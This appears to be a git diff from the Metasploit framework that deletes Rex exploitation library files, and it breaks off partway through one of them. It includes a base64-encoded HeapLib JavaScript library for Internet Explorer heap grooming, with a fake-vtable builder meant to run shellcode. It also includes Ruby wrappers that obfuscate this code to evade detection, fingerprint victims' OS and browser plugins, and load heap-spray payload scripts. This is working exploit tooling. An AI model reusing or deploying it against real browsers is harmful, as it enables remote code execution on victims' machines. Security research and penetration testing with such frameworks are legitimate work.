-cnJheSgpOw0KDQogICAgaWYgKHR5cGVvZiBhcmcgPT0gInN0cmluZyIgfHwg
-YXJnIGluc3RhbmNlb2YgU3RyaW5nKSB7DQogICAgICAgIC8vIEFsbG9jYXRl
-IGEgbmV3IGJsb2NrIHdpdGggc3RyZHVwIG9mIHRoZSBzdHJpbmcgYXJndW1l
-bnQNCiAgICAgICAgdGhpcy5tZW1bdGFnXS5wdXNoKGFyZy5zdWJzdHIoMCwg
-YXJnLmxlbmd0aCkpOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgICAgLy8g
-QWxsb2NhdGUgdGhlIGJsb2NrDQogICAgICAgIHRoaXMubWVtW3RhZ10ucHVz
-aCh0aGlzLnBhZGRpbmcoKGFyZy02KS8yKSk7DQogICAgfQ0KfQ0KDQoNCi8v
-DQovLyBGcmVlcyBhbGwgbWVtb3J5IGJsb2NrcyBtYXJrZWQgd2l0aCBhIHNw
-ZWNpZmljIHRhZyB3aXRoIHRoZSBPTEVBVVQzMiBtZW1vcnkNCi8vIGFsbG9j
-YXRvci4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICB0YWcgLSBhIHRhZyBp
-ZGVudGlmeWluZyB0aGUgZ3JvdXAgb2YgYmxvY2tzIHRvIGJlIGZyZWVkDQov
-Lw0KDQpoZWFwTGliLmllLnByb3RvdHlwZS5mcmVlT2xlYXV0MzIgPSBmdW5j
-dGlvbih0YWcpIHsNCg0KICAgIGRlbGV0ZSB0aGlzLm1lbVt0YWddOw0KICAg
-IA0KICAgIC8vIFJ1biB0aGUgZ2FyYmFnZSBjb2xsZWN0b3INCiAgICBDb2xs
-ZWN0R2FyYmFnZSgpOw0KfQ0KDQoNCi8vDQovLyBUaGUgSlNjcmlwdCBpbnRl
-cnByZXRlciB1c2VzIHRoZSBPTEVBVVQzMiBtZW1vcnkgYWxsb2NhdG9yIGZv
-ciBhbGwgc3RyaW5nDQovLyBhbGxvY2F0aW9ucy4gVGhpcyBhbGxvY2F0b3Ig
-c3RvcmVzIGZyZWVkIGJsb2NrcyBpbiBhIGNhY2hlIGFuZCByZXVzZXMgdGhl
-bQ0KLy8gZm9yIGxhdGVyIGFsbG9jYXRpb25zLiBUaGUgY2FjaGUgY29uc2lz
-dHMgb2YgNCBiaW5zLCBlYWNoIHN0b3JpbmcgdXAgdG8gNg0KLy8gYmxvY2tz
-LiBFYWNoIGJpbiBob2xkcyBibG9ja3Mgb2YgYSBjZXJ0YWluIHNpemUgcmFu
-Z2U6DQovLw0KLy8gICAgMCAtIDMyDQovLyAgICAzMyAtIDY0DQovLyAgICA2
-NSAtIDI1Ng0KLy8gICAgMjU3IC0gMzI3NjgNCi8vDQovLyBXaGVuIGEgYmxv
-Y2sgaXMgZnJlZWQgYnkgdGhlIE9MRUFVVDMyIGZyZWUgZnVuY3Rpb24sIGl0
-IGlzIHN0b3JlZCBpbiBvbmUgb2YNCi8vIHRoZSBiaW5zLiBJZiB0aGUgYmlu
-IGlzIGZ1bGwsIHRoZSBzbWFsbGVzdCBibG9jayBpbiB0aGUgYmluIGlzIGZy
-ZWVkIHdpdGgNCi8vIFJ0bEZyZWVIZWFwKCkgYW5kIGlzIHJlcGxhY2VkIHdp
-dGggdGhlIG5ldyBibG9jay4gQ2h1bmtzIGxhcmdlciB0aGFuIDMyNzY4DQov
-LyBieXRlcyBhcmUgbm90IGNhY2hlZCBhbmQgYXJlIGZyZWVkIGRpcmVjdGx5
-Lg0KLy8NCi8vIFRvIGZsdXNoIHRoZSBjYWNoZSwgd2UgbmVlZCB0byBmcmVl
-IDYgYmxvY2tzIG9mIHRoZSBtYXhpbXVtIHNpemUgZm9yIGVhY2gNCi8vIGJp
-bi4gVGhlIG1heGltdW0gc2l6ZSBibG9ja3Mgd2lsbCBwdXNoIG91dCBhbGwg
-c21hbGxlciBibG9ja3MgZnJvbSB0aGUNCi8vIGNhY2hlLiBUaGVuIHdlIGFs
-bG9jYXRlIHRoZSBtYXhpbXVtIHNpemUgYmxvY2tzIGFnYWluLCBsZWF2aW5n
-IHRoZSBjYWNoZQ0KLy8gZW1wdHkuDQovLw0KLy8gWW91IG5lZWQgdG8gY2Fs
-bCB0aGlzIGZ1bmN0aW9uIG9uY2UgdG8gYWxsb2NhdGUgdGhlIG1heGltdW0g
-c2l6ZSBibG9ja3MNCi8vIGJlZm9yZSB5b3UgY2FuIHVzZSBpdCB0byBmbHVz
-aCB0aGUgY2FjaGUuDQovLw0KDQpoZWFwTGliLmllLnByb3RvdHlwZS5mbHVz
-aE9sZWF1dDMyID0gZnVuY3Rpb24oKSB7DQoNCiAgICB0aGlzLmRlYnVnKCJG
-bHVzaGluZyB0aGUgT0xFQVVUMzIgY2FjaGUiKTsNCg0KICAgIC8vIEZyZWUg
-dGhlIG1heGltdW0gc2l6ZSBibG9ja3MgYW5kIHB1c2ggb3V0IGFsbCBzbWFs
-bGVyIGJsb2Nrcw0KDQogICAgdGhpcy5mcmVlT2xlYXV0MzIoIm9sZWF1dDMy
-Iik7DQogICAgDQogICAgLy8gQWxsb2NhdGUgdGhlIG1heGltdW0gc2l6ZWQg
-YmxvY2tzIGFnYWluLCBlbXB0eWluZyB0aGUgY2FjaGUNCg0KICAgIGZvciAo
-dmFyIGkgPSAwOyBpIDwgNjsgaSsrKSB7DQogICAgICAgIHRoaXMuYWxsb2NP
-bGVhdXQzMigzMiwgIm9sZWF1dDMyIik7DQogICAgICAgIHRoaXMuYWxsb2NP
-bGVhdXQzMig2NCwgIm9sZWF1dDMyIik7DQogICAgICAgIHRoaXMuYWxsb2NP
-bGVhdXQzMigyNTYsICJvbGVhdXQzMiIpOw0KICAgICAgICB0aGlzLmFsbG9j
-T2xlYXV0MzIoMzI3NjgsICJvbGVhdXQzMiIpOw0KICAgIH0NCn0NCg0KDQov
-Lw0KLy8gQWxsb2NhdGVzIGEgYmxvY2sgb2YgYSBzcGVjaWZpZWQgc2l6ZSB3
-aXRoIHRoZSBzeXN0ZW0gbWVtb3J5IGFsbG9jYXRvci4gQQ0KLy8gY2FsbCB0
-byB0aGlzIGZ1bmN0aW9uIGlzIGVxdWl2YWxlbnQgdG8gYSBjYWxsIHRvIEhl
-YXBBbGxvYygpLiBJZiB0aGUgZmlyc3QNCi8vIGFyZ3VtZW50IGlzIGEgbnVt
-YmVyLCBpdCBzcGVjaWZpZXMgdGhlIHNpemUgb2YgdGhlIG5ldyBibG9jaywg
-d2hpY2ggaXMNCi8vIGZpbGxlZCB3aXRoICJBIiBjaGFyYWN0ZXJzLiBJZiB0
-aGUgYXJndW1lbnQgaXMgYSBzdHJpbmcsIGl0cyBkYXRhIGlzIGNvcGllZA0K
-Ly8gaW50byBhIG5ldyBibG9jayBvZiBzaXplIGFyZy5sZW5ndGggKiAyICsg
-Ni4gSW4gYm90aCBjYXNlcyB0aGUgc2l6ZSBvZiB0aGUNCi8vIG5ldyBibG9j
-ayBtdXN0IGJlIGEgbXVsdGlwbGUgb2YgMTYgYW5kIG5vdCBlcXVhbCB0byAz
-MiwgNjQsIDI1NiBvciAzMjc2OC4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAg
-ICBhcmcgLSBzaXplIG9mIHRoZSBtZW1vcnkgYmxvY2sgaW4gYnl0ZXMsIG9y
-IGEgc3RyaW5nIHRvIHN0cmR1cA0KLy8gICAgdGFnIC0gYSB0YWcgaWRlbnRp
-ZnlpbmcgdGhlIG1lbW9yeSBibG9jayAob3B0aW9uYWwpDQovLw0KDQpoZWFw
-TGliLmllLnByb3RvdHlwZS5hbGxvYyA9IGZ1bmN0aW9uKGFyZywgdGFnKSB7
-DQoNCiAgICB2YXIgc2l6ZTsNCg0KICAgIC8vIENhbGN1bGF0ZSB0aGUgYWxs
-b2NhdGlvbiBzaXplDQogICAgaWYgKHR5cGVvZiBhcmcgPT0gInN0cmluZyIg
-fHwgYXJnIGluc3RhbmNlb2YgU3RyaW5nKQ0KICAgICAgICBzaXplID0gNCAr
-IGFyZy5sZW5ndGgqMiArIDI7ICAgIC8vIGxlbiArIHN0cmluZyBkYXRhICsg
-bnVsbCB0ZXJtaW5hdG9yDQogICAgZWxzZQ0KICAgICAgICBzaXplID0gYXJn
-Ow0KDQogICAgLy8gTWFrZSBzdXJlIHRoYXQgdGhlIHNpemUgaXMgdmFsaWQN
-CiAgICBpZiAoc2l6ZSA9PSAzMiB8fCBzaXplID09IDY0IHx8IHNpemUgPT0g
-MjU2IHx8IHNpemUgPT0gMzI3NjgpDQogICAgICAgIHRocm93ICJBbGxvY2F0
-aW9uIHNpemVzICIgKyBzaXplICsgIiBjYW5ub3QgYmUgZmx1c2hlZCBvdXQg
-b2YgdGhlIE9MRUFVVDMyIGNhY2hlIjsNCg0KICAgIC8vIEFsbG9jYXRlIHRo
-ZSBibG9jayB3aXRoIHRoZSBPTEVBVVQzMiBhbGxvY2F0b3INCiAgICB0aGlz
-LmFsbG9jT2xlYXV0MzIoYXJnLCB0YWcpOw0KfQ0KDQoNCi8vDQovLyBGcmVl
-cyBhbGwgbWVtb3J5IGJsb2NrcyBtYXJrZWQgd2l0aCBhIHNwZWNpZmljIHRh
-ZyB3aXRoIHRoZSBzeXN0ZW0gbWVtb3J5DQovLyBhbGxvY2F0b3IuIEEgY2Fs
-bCB0byB0aGlzIGZ1bmN0aW9uIGlzIGVxdWl2YWxlbnQgdG8gYSBjYWxsIHRv
-IEhlYXBGcmVlKCkuDQovLw0KLy8gQXJndW1lbnRzOg0KLy8gICAgdGFnIC0g
-YSB0YWcgaWRlbnRpZnlpbmcgdGhlIGdyb3VwIG9mIGJsb2NrcyB0byBiZSBm
-cmVlZA0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUuZnJlZSA9IGZ1bmN0
-aW9uKHRhZykgew0KDQogICAgLy8gRnJlZSB0aGUgYmxvY2tzIHdpdGggdGhl
-IE9MRUFVVDMyIGZyZWUgZnVuY3Rpb24NCiAgICB0aGlzLmZyZWVPbGVhdXQz
-Mih0YWcpOw0KDQogICAgLy8gRmx1c2ggdGhlIE9MRUFVVDMyIGNhY2hlDQog
-ICAgdGhpcy5mbHVzaE9sZWF1dDMyKCk7DQp9DQoNCg0KLy8NCi8vIFJ1bnMg
-dGhlIGdhcmJhZ2UgY29sbGVjdG9yIGFuZCBmbHVzaGVzIHRoZSBPTEVBVVQz
-MiBjYWNoZS4gQ2FsbCB0aGlzDQovLyBmdW5jdGlvbiBiZWZvcmUgYmVmb3Jl
-IHVzaW5nIGFsbG9jKCkgYW5kIGZyZWUoKS4NCi8vDQoNCmhlYXBMaWIuaWUu
-cHJvdG90eXBlLmdjID0gZnVuY3Rpb24oKSB7DQoNCiAgICB0aGlzLmRlYnVn
-KCJSdW5uaW5nIHRoZSBnYXJiYWdlIGNvbGxlY3RvciIpOw0KICAgIENvbGxl
-Y3RHYXJiYWdlKCk7DQoNCiAgICB0aGlzLmZsdXNoT2xlYXV0MzIoKTsNCn0N
-Cg0KDQovLw0KLy8gQWRkcyBibG9ja3Mgb2YgdGhlIHNwZWNpZmllZCBzaXpl
-IHRvIHRoZSBmcmVlIGxpc3QgYW5kIG1ha2VzIHN1cmUgdGhleSBhcmUNCi8v
-IG5vdCBjb2FsZXNjZWQuIFRoZSBoZWFwIG11c3QgYmUgZGVmcmFnbWVudGVk
-IGJlZm9yZSBjYWxsaW5nIHRoaXMgZnVuY3Rpb24uDQovLyBJZiB0aGUgc2l6
-ZSBvZiB0aGUgbWVtb3J5IGJsb2NrcyBpcyBsZXNzIHRoYW4gMTAyNCwgeW91
-IGhhdmUgdG8gbWFrZSBzdXJlDQovLyB0aGF0IHRoZSBsb29rYXNpZGUgaXMg
-ZnVsbC4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAgICBhcmcgICAgLSBzaXpl
-IG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9yIGEgc3RyaW5nIHRvIHN0
-cmR1cA0KLy8gICAgY291bnQgIC0gaG93IG1hbnkgZnJlZSBibG9ja3MgdG8g
-YWRkIHRvIHRoZSBsaXN0IChkZWZhdWx0cyB0byAxKQ0KLy8NCg0KaGVhcExp
-Yi5pZS5wcm90b3R5cGUuZnJlZUxpc3QgPSBmdW5jdGlvbihhcmcsIGNvdW50
-KSB7DQoNCiAgICB2YXIgY291bnQgPSAoY291bnQgPyBjb3VudCA6IDEpOw0K
-DQogICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjb3VudDsgaSsrKSB7DQogICAg
-ICAgIHRoaXMuYWxsb2MoYXJnKTsNCiAgICAgICAgdGhpcy5hbGxvYyhhcmcs
-ICJmcmVlTGlzdCIpOw0KICAgIH0NCiAgICB0aGlzLmFsbG9jKGFyZyk7DQoN
-CiAgICB0aGlzLmZyZWUoImZyZWVMaXN0Iik7DQp9DQoNCg0KLy8NCi8vIEFk
-ZCBibG9ja3Mgb2YgdGhlIHNwZWNpZmllZCBzaXplIHRvIHRoZSBsb29rYXNp
-ZGUuIFRoZSBsb29rYXNpZGUgbXVzdCBiZQ0KLy8gZW1wdHkgYmVmb3JlIGNh
-bGxpbmcgdGhpcyBmdW5jdGlvbi4NCi8vDQovLyBBcmd1bWVudHM6DQovLyAg
-ICBhcmcgICAgLSBzaXplIG9mIHRoZSBuZXcgYmxvY2sgaW4gYnl0ZXMsIG9y
-IGEgc3RyaW5nIHRvIHN0cmR1cA0KLy8gICAgY291bnQgIC0gaG93IG1hbnkg
-YmxvY2tzIHRvIGFkZCB0byB0aGUgbG9va2FzaWRlIChkZWZhdWx0cyB0byAx
-KQ0KLy8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUubG9va2FzaWRlID0gZnVu
-Y3Rpb24oYXJnLCBjb3VudCkgew0KDQogICAgdmFyIHNpemU7DQoNCiAgICAv
-LyBDYWxjdWxhdGUgdGhlIGFsbG9jYXRpb24gc2l6ZQ0KICAgIGlmICh0eXBl
-b2YgYXJnID09ICJzdHJpbmciIHx8IGFyZyBpbnN0YW5jZW9mIFN0cmluZykN
-CiAgICAgICAgc2l6ZSA9IDQgKyBhcmcubGVuZ3RoKjIgKyAyOyAgICAvLyBs
-ZW4gKyBzdHJpbmcgZGF0YSArIG51bGwgdGVybWluYXRvcg0KICAgIGVsc2UN
-CiAgICAgICAgc2l6ZSA9IGFyZzsNCg0KICAgIC8vIE1ha2Ugc3VyZSB0aGF0
-IHRoZSBzaXplIGlzIHZhbGlkDQogICAgaWYgKChzaXplICYgMHhmKSAhPSAw
-KQ0KICAgICAgICB0aHJvdyAiQWxsb2NhdGlvbiBzaXplICIgKyBzaXplICsg
-IiBtdXN0IGJlIGEgbXVsdGlwbGUgb2YgMTYiOw0KDQogICAgaWYgKHNpemUr
-OCA+PSAxMDI0KQ0KICAgICAgICB0aHJvdygiTWF4aW11bSBsb29rYXNpZGUg
-YmxvY2sgc2l6ZSBpcyAxMDA4IGJ5dGVzIik7DQoNCiAgICB2YXIgY291bnQg
-PSAoY291bnQgPyBjb3VudCA6IDEpOw0KDQogICAgZm9yICh2YXIgaSA9IDA7
-IGkgPCBjb3VudDsgaSsrKQ0KICAgICAgICB0aGlzLmFsbG9jKGFyZywgImxv
-b2thc2lkZSIpOw0KDQogICAgdGhpcy5mcmVlKCJsb29rYXNpZGUiKTsNCn0N
-Cg0KDQovLw0KLy8gUmV0dXJuIHRoZSBhZGRyZXNzIG9mIHRoZSBoZWFkIG9m
-IHRoZSBsb29rYXNpZGUgbGlua2VkIGxpc3QgZm9yIGJsb2NrcyBvZiBhDQov
-LyBzcGVjaWZpZWQgc2l6ZS4gVXNlcyB0aGUgaGVhcEJhc2UgcGFyYW1ldGVy
-IGZyb20gdGhlIGhlYXBMaWIuaWUgY29uc3RydWN0b3IuDQovLw0KLy8gQXJn
-dW1lbnRzOg0KLy8gICAgYXJnIC0gc2l6ZSBvZiB0aGUgbmV3IGJsb2NrIGlu
-IGJ5dGVzLCBvciBhIHN0cmluZyB0byBzdHJkdXANCi8vDQoNCmhlYXBMaWIu
-aWUucHJvdG90eXBlLmxvb2thc2lkZUFkZHIgPSBmdW5jdGlvbihhcmcpDQp7
-DQogICAgdmFyIHNpemU7DQoNCiAgICAvLyBDYWxjdWxhdGUgdGhlIGFsbG9j
-YXRpb24gc2l6ZQ0KICAgIGlmICh0eXBlb2YgYXJnID09ICJzdHJpbmciIHx8
-IGFyZyBpbnN0YW5jZW9mIFN0cmluZykNCiAgICAgICAgc2l6ZSA9IDQgKyBh
-cmcubGVuZ3RoKjIgKyAyOyAgICAvLyBsZW4gKyBzdHJpbmcgZGF0YSArIG51
-bGwgdGVybWluYXRvcg0KICAgIGVsc2UNCiAgICAgICAgc2l6ZSA9IGFyZzsN
-Cg0KICAgIC8vIE1ha2Ugc3VyZSB0aGF0IHRoZSBzaXplIGlzIHZhbGlkDQog
-ICAgaWYgKChzaXplICYgMHhmKSAhPSAwKQ0KICAgICAgICB0aHJvdyAiQWxs
-b2NhdGlvbiBzaXplICIgKyBzaXplICsgIiBtdXN0IGJlIGEgbXVsdGlwbGUg
-b2YgMTYiOw0KDQogICAgaWYgKHNpemUrOCA+PSAxMDI0KQ0KICAgICAgICB0
-aHJvdygiTWF4aW11bSBsb29rYXNpZGUgYmxvY2sgc2l6ZSBpcyAxMDA4IGJ5
-dGVzIik7DQoNCiAgICAvLyBUaGUgbG9va2FoZWFkIGFycmF5IHN0YXJ0cyBh
-dCBoZWFwQmFzZSArIDB4Njg4LiBJdCBjb250YWlucyBhIDQ4IGJ5dGUNCiAg
-ICAvLyBzdHJ1Y3R1cmUgZm9yIGVhY2ggYmxvY2sgc2l6ZSArIGhlYWRlciBz
-aXplIGluIDggYnl0ZSBpbmNyZW1lbnRzLg0KDQogICAgcmV0dXJuIHRoaXMu
-aGVhcEJhc2UgKyAweDY4OCArICgoc2l6ZSs4KS84KSo0ODsNCn0NCg0KDQov
-Lw0KLy8gUmV0dXJucyBhIGZha2UgdnRhYmxlIHRoYXQgY29udGFpbnMgc2hl
-bGxjb2RlLiBUaGUgY2FsbGVyIHNob3VsZCBmcmVlIHRoZQ0KLy8gdnRhYmxl
-IHRvIHRoZSBsb29rYXNpZGUgYW5kIHVzZSB0aGUgYWRkcmVzcyBvZiB0aGUg
-bG9va2FzaWRlIGhlYWQgYXMgYW4NCi8vIG9iamVjdCBwb2ludGVyLiBXaGVu
-IHRoZSB2dGFibGUgaXMgdXNlZCwgdGhlIGFkZHJlc3Mgb2YgdGhlIG9iamVj
-dCBtdXN0IGJlDQovLyBpbiBlYXggYW5kIHRoZSBwb2ludGVyIHRvIHRoZSB2
-dGFibGUgbXVzdCBiZSBpbiBlY3guIEFueSB2aXJ0dWFsIGZ1bmN0aW9uDQov
-LyBjYWxsIHRocm91Z2ggdGhlIHZ0YWJsZSBmcm9tIGVjeCs4IHRvIGVjeCsw
-eDgwIHdpbGwgcmVzdWx0IGluIHNoZWxsY29kZQ0KLy8gZXhlY3V0aW9uLiBU
-aGlzIGZ1bmN0aW9uIHVzZXMgdGhlIGhlYXAuDQovLw0KLy8gQXJndW1lbnRz
-Og0KLy8gICAgc2hlbGxjb2RlIC0gc2hlbGxjb2RlIHN0cmluZw0KLy8gICAg
-am1wZWN4ICAgIC0gYWRkcmVzcyBvZiBhIGptcCBlY3ggb3IgZXF1aXZhbGVu
-dCBpbnN0cnVjdGlvbg0KLy8gICAgc2l6ZSAgICAgIC0gc2l6ZSBvZiB0aGUg
-dnRhYmxlIHRvIGdlbmVyYXRlIChkZWZhdWx0cyB0byAxMDA4IGJ5dGVzKQ0K
-Ly8NCg0KaGVhcExpYi5pZS5wcm90b3R5cGUudnRhYmxlID0gZnVuY3Rpb24o
-c2hlbGxjb2RlLCBqbXBlY3gsIHNpemUpIHsNCg0KICAgIHZhciBzaXplID0g
-KHNpemUgPyBzaXplIDogMTAwOCk7DQoNCiAgICAvLyBNYWtlIHN1cmUgdGhl
-IHNpemUgaXMgdmFsaWQNCiAgICBpZiAoKHNpemUgJiAweGYpICE9IDApDQog
-ICAgICAgIHRocm93ICJWdGFibGUgc2l6ZSAiICsgc2l6ZSArICIgbXVzdCBi
-ZSBhIG11bHRpcGxlIG9mIDE2IjsNCg0KICAgIGlmIChzaGVsbGNvZGUubGVu
-Z3RoKjIgPiBzaXplLTEzOCkNCiAgICAgICAgdGhyb3coIk1heGltdW0gc2hl
-bGxjb2RlIGxlbmd0aCBpcyAiICsgKHNpemUtMTM4KSArICIgYnl0ZXMiKTsN
-Cg0KICAgIC8vIEJ1aWxkIHRoZSBmYWtlIHZ0YWJsZSB0aGF0IHdpbGwgZ28g
-b24gdGhlIGxvb2thc2lkZSBsaXN0DQogICAgLy8NCiAgICAvLyBsb29rYXNp
-ZGUgcHRyICBqbXAgKzEyNCAgYWRkciBvZiBqbXAgZWN4ICBzdWIgW2VheF0s
-IGFsKjIgIHNoZWxsY29kZSAgICAgICBudWxsDQogICAgLy8gNCBieXRlcyAg
-ICAgICAgNCBieXRlcyAgIDEyNCBieXRlcyAgICAgICAgNCBieXRlcyAgICAg
-ICAgICBzaXplLTEzOCBieXRlcyAgMiBieXRlcw0KDQogICAgdmFyIHZ0YWJs
-ZSA9IHVuZXNjYXBlKCIldTkwOTAldTdjZWIiKSAgIC8vIG5vcCwgbm9wLCBq
-bXAgKyAxMjQNCg0KICAgIGZvciAodmFyIGkgPSAwOyBpIDwgMTI0LzQ7IGkr
-KykNCiAgICAgICAgdnRhYmxlICs9IHRoaXMuYWRkcihqbXBlY3gpOw0KDQog
-ICAgLy8gSWYgdGhlIHZ0YWJsZSBpcyB0aGUgb25seSBlbnRyeSBvbiB0aGUg
-bG9va2FzaWRlLCB0aGUgZmlyc3QgNCBieXRlcyB3aWxsDQogICAgLy8gYmUg
-MDAgMDAgMDAgMDAsIHdoaWNoIGRpc2Fzc2VtYmxlcyBhcyB0d28gYWRkIFtl
-YXhdLCBhbCBpbnN0cnVjdGlvbnMuDQogICAgLy8gVGhlIGptcCBlY3ggdHJh
-bXBvbGluZSB3aWxsIGp1bXAgYmFjayB0byB0aGUgYmVnaW5uaW5nIG9mIHRo
-ZSB2dGFibGUgYW5kDQogICAgLy8gZXhlY3V0ZSB0aGUgYWRkIFtlYXhdLCBh
-bCBpbnN0cnVjdGlvbnMuIFdlIG5lZWQgdG8gdXNlIHR3byBzdWIgW2VheF0s
-IGFsDQogICAgLy8gaW5zdHJ1Y3Rpb25zIHRvIGZpeCB0aGUgaGVhcC4NCg0K
-ICAgIHZ0YWJsZSArPSB1bmVzY2FwZSgiJXUwMDI4JXUwMDI4IikgKyAgICAv
-LyB0d28gc3ViIFtlYXhdLCBhbCBpbnN0cnVjdGlvbnMNCiAgICAgICAgICAg
-ICAgc2hlbGxjb2RlICsgaGVhcC5wYWRkaW5nKChzaXplLTEzOCkvMiAtIHNo
-ZWxsY29kZS5sZW5ndGgpOw0KDQogICAgcmV0dXJuIHZ0YWJsZTsNCn0NCg==
diff --git a/lib/rex/exploitation/heaplib.rb b/lib/rex/exploitation/heaplib.rb
deleted file mode 100644
index c1d1a222a4..0000000000
--- a/lib/rex/exploitation/heaplib.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-# -*- coding: binary -*-
-require 'rex/text'
-require 'rex/exploitation/obfuscatejs'
-require 'rex/exploitation/jsobfu'
-
-module Rex
-module Exploitation
-
-#
-# Encapsulates the generation of the Alexander Sotirov's HeapLib javascript
-# stub
-#
-class HeapLib
-
- #
- # The source file to load the javascript from
- #
- JavascriptFile = File.join(File.dirname(__FILE__), "heaplib.js.b64")
-
- #
- # The list of symbols found in the file. This is used to dynamically
- # replace contents.
- #
- SymbolNames =
- {
- "Methods" =>
- [
- "vtable",
- "lookasideAddr",
- "lookaside",
- "freeList",
- "gc",
- "flushOleaut32",
- "freeOleaut32",
- "allocOleaut32",
- "free",
- "alloc",
- "addr",
- "hex",
- "round",
- "paddingStr",
- "padding",
- "debugBreak",
- "debugHeap",
- "debug",
- ],
- "Classes" =>
- [
- { 'Namespace' => "heapLib", 'Class' => "ie" }
- ],
- "Namespaces" =>
- [
- "heapLib"
- ]
- }
-
- #
- # Initializes the heap library javascript
- #
- def initialize(custom_js = '', opts = {})
- load_js(custom_js, opts)
- end
-
- #
- # Return the replaced version of the javascript
- #
- def to_s
- @js
- end
-
-protected
-
- #
- # Loads the raw javascript from the source file and strips out comments
- #
- def load_js(custom_js, opts = {})
-
- # Grab the complete javascript
- File.open(JavascriptFile) do |f|
- @js = f.read
- end
-
- # Decode the text
- @js = Rex::Text.decode_base64(@js)
-
- # Append the real code
- @js += "\n" + custom_js
-
- if opts[:newobfu]
- # Obfuscate the javascript using the new lexer method
- js_obfu = JSObfu.new(@js)
- js_obfu.obfuscate
- @js = js_obfu.to_s
- return @js
- elsif opts[:noobfu]
- # Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation)
- return @js
- end
-
- # Default to the old method
- # Obfuscate the javascript using the old method
- @js = ObfuscateJS.obfuscate(@js, 'Symbols' => SymbolNames)
- end
-end
-
-end
-end
diff --git a/lib/rex/exploitation/js.rb b/lib/rex/exploitation/js.rb
deleted file mode 100644
index 721ecb824c..0000000000
--- a/lib/rex/exploitation/js.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-# -*- coding: binary -*-
-
-require 'rex/exploitation/js/memory'
-require 'rex/exploitation/js/network'
-require 'rex/exploitation/js/utils'
-require 'rex/exploitation/js/detect'
\ No newline at end of file
diff --git a/lib/rex/exploitation/js/detect.rb b/lib/rex/exploitation/js/detect.rb
deleted file mode 100644
index 04df435fa4..0000000000
--- a/lib/rex/exploitation/js/detect.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# -*- coding: binary -*-
-
-require 'msf/core'
-require 'rex/text'
-require 'rex/exploitation/jsobfu'
-
-module Rex
-module Exploitation
-module Js
-
-
-class Detect
-
- #
- # Provides several javascript functions for determining the OS and browser versions of a client.
- #
- # getVersion(): returns an object with the following properties
- # os_name - OS name such as "Windows 8", "Linux", "Mac OS X"
- # os_flavor - OS flavor as a string such as "Home", "Enterprise", etc
- # os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows)
- # os_lang - OS language (e.g.: "en-us")
- # os_vendor - A company or organization name such as Microsoft, Ubuntu, Apple, etc
- # os_device - A specific piece of hardware such as iPad, iPhone, etc
- # ua_name - Client name, one of the Msf::HttpClients constants
- # ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2")
- # arch - Architecture, one of the ARCH_* constants
- #
- # The following functions work on the version returned in obj.ua_version
- #
- # ua_ver_cmp(a, b): returns -1, 0, or 1 based on whether a < b, a == b, or a > b respectively
- # ua_ver_lt(a, b): returns true if a < b
- # ua_ver_gt(a, b): returns true if a > b
- # ua_ver_eq(a, b): returns true if a == b
- #
- def self.os(custom_js = '')
- js = custom_js
- js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "os.js"))
-
- Rex::Exploitation::JSObfu.new(js)
- end
-
-
- #
- # Provides javascript functions to determine IE addon information.
- #
- # getMsOfficeVersion(): Returns the version for Microsoft Office
- #
- def self.ie_addons(custom_js = '')
- js = custom_js
- js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
-
- Rex::Exploitation::JSObfu.new(js)
- end
-
- #
- # Provides javascript functions that work for all browsers to determine addon information
- #
- # getJavaVersion(): Returns the Java version
- # hasSilverlight(): Returns whether Silverlight is enabled or not
- #
- def self.misc_addons(custom_js = '')
- js = custom_js
- js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
-
- Rex::Exploitation::JSObfu.new(js)
- end
-
-end
-end
-end
-end
diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb
deleted file mode 100644
index a0a9d08e78..0000000000
--- a/lib/rex/exploitation/js/memory.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-# -*- coding: binary -*-
-
-require 'msf/core'
-
-module Rex
-module Exploitation
-module Js
-
-#
-# Provides meomry manipulative functions in JavaScript
-#
-class Memory
-
- def self.mstime_malloc
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "mstime_malloc.js"))
- js = js.gsub(/W00TA/, Rex::Text.rand_text_hex(6))
- js = js.gsub(/W00TB/, Rex::Text.rand_text_hex(5))
-
- ::Rex::Exploitation::ObfuscateJS.new(js,
- {
- 'Symbols' => {
- 'Variables' => %w{ buf eleId acTag }
- }
- }).obfuscate
- end
-
- def self.heaplib2(custom_js='', opts={})
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heaplib2.js"))
-
- unless custom_js.to_s.strip.empty?
- js << custom_js
- end
-
- js = ::Rex::Exploitation::JSObfu.new js
- js.obfuscate
- return js
- end
-
- def self.property_spray
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "property_spray.js"))
-
- ::Rex::Exploitation::ObfuscateJS.new(js,
- {
- 'Symbols' => {
- 'Variables' => %w{ sym_div_container data junk obj }
- }
- }).obfuscate
- end
-
- def self.heap_spray
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "heap_spray.js"))
-
- ::Rex::Exploitation::ObfuscateJS.new(js,
- {
- 'Symbols' => {
- 'Variables' => %w{ index heapSprayAddr_hi heapSprayAddr_lo retSlide heapBlockCnt }
- }
- }).obfuscate
- end
-
- def self.explib2
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "lib", "explib2.js"))
-
- ::Rex::Exploitation::ObfuscateJS.obfuscate(js)
- end
-
- def self.explib2_payload(payload="exec")
- case payload
- when "drop_exec"
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "drop_exec.js"))
- else # "exec"
